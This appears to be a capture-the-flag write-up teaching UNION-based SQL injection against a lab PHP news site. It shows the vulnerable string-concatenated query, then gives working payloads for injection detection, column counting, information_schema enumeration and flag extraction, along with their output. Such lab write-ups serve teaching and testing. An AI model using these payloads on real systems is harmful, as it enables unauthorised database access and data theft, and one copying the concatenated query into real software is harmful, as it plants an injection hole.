# UNION SELECT Unlocked: A Beginner’s Guide to UNION-Based SQLi

## Table of Contents

*   [01 - Vulnerability Discovery](#01--vulnerability-discovery)
    
*   [02 - Injection Detection](#02--injection-detection)
    
*   [03 - Column Count Enumeration](#03--column-count-enumeration)
    
*   [04 - Reflected Column Discovery](#04--reflected-column-discovery)
    
*   [05 - Database Enumeration](#05--database-enumeration)
    
*   [06 - Flag Extraction](#06--flag-extraction)
    

* * *

## 01 - Vulnerability Discovery

Appending `?source=true` to any article URL exposes the page's PHP source code. The backend constructs its SQL query by directly concatenating the user-supplied `id` parameter without any sanitization or parameterization:

```php
$sql = "SELECT * FROM news WHERE id = '" . $_GET['id'] . "'";
```

At runtime with a normal request, this evaluates to:

```sql
SELECT * FROM news WHERE id = '1'
```

Because the `id` value is placed inside single quotes and never escaped, the application is vulnerable to string-based UNION SQL injection.

* * *

## 02 - Injection Detection

Before attempting any extraction, we need to confirm three things: whether injection is possible, whether the value is wrapped in quotes, and which quote character is used. We use `ORDER BY` for this - it's non-destructive and produces clear server errors when it breaks the query.

> **Note on URL encoding:** The `#` character is reserved in URLs and must be encoded as `%23` to reach the server as a comment delimiter.

| Result | Payload |
| --- | --- |
| ✅ Returns result (baseline) | `page/?id=54` |
| ✅ Returns result (true condition) | `page/?id=54' ORDER BY 1%23` |
| ❌ Stack trace error (false condition) | `page/?id=54' ORDER BY 1000%23` |
| \- No difference (wrong quote type) | `page/?id=54" ORDER BY 1%23` |

The behavioral difference between the true and false conditions - a valid result vs. a stack trace error - confirms all three things at once. Injection is present, the value is wrapped in **single quotes**, and comments via `%23` successfully truncate the rest of the query.

* * *

## 03 - Column Count Enumeration

A UNION-based injection requires the injected `SELECT` to return the same number of columns as the original query. We determine this by incrementally increasing the `ORDER BY` index until the query fails.

```sql
-- Succeeds → at least 10 columns
/post.php?id=1' ORDER BY 10%23

-- Fails → column 11 does not exist
/post.php?id=1' ORDER BY 11%23
```

**Result:** The original query returns exactly **10 columns**. Our `UNION SELECT` must also return 10.

* * *

## 04 - Reflected Column Discovery

With the column count confirmed, we identify which column position is rendered in the page output. To force the application to display our UNION result instead of the real row, we use a non-existent ID - causing the first `SELECT` to return zero rows.

```plaintext
/post.php?id=1654654' UNION SELECT 1,user(),3,4,5,6,7,8,9,10%23
```

The page renders the output of `user()` in the post title field:

```plaintext
sqli-level-1@10.244.226.178
```

Column position **2** is our extraction channel for all subsequent queries.

* * *

## 05 - Database Enumeration

Extraction follows a top-down path through the database structure:

```plaintext
database name → table names → column names → flag data
```

All metadata is accessible through `information_schema`. We use `group_concat()` throughout to collapse multiple rows into a single output, avoiding the need for repeated `LIMIT` iterations.

### Step 1 - Enumerate databases

```sql
/post.php?id=1654654' UNION SELECT 1,group_concat(schema_name),3,4,5,6,7,8,9,10
FROM information_schema.schemata%23
```

**Output:**

```plaintext
information_schema, performance_schema, sqli-level-1
```

### Step 2 - Enumerate tables in the target database

```sql
/post.php?id=1654654' UNION SELECT 1,group_concat(table_name),3,4,5,6,7,8,9,10
FROM information_schema.tables
WHERE table_schema = database()%23
```

**Output:**

```plaintext
flag, news
```

### Step 3 - Enumerate columns in the flag table

```sql
/post.php?id=1654654' UNION SELECT 1,group_concat(column_name),3,4,5,6,7,8,9,10
FROM information_schema.columns
WHERE table_schema = database()
AND table_name = 'flag'%23
```

**Output:**

```plaintext
flag_text, id
```

* * *

## 06 - Flag Extraction

With the full schema mapped, we query the `flag_text` column directly from the `flag` table:

```sql
/post.php?id=1654654' UNION SELECT 1,flag_text,3,4,5,6,7,8,9,10
FROM flag%23
```

The flag value is rendered in the page output:

```plaintext
flag_06d32920379xxxxxxxxxxxxxxxxxxxxx
```

* * *

*Written by* [*Iliya Dindar*](https://iliyadindar.site)
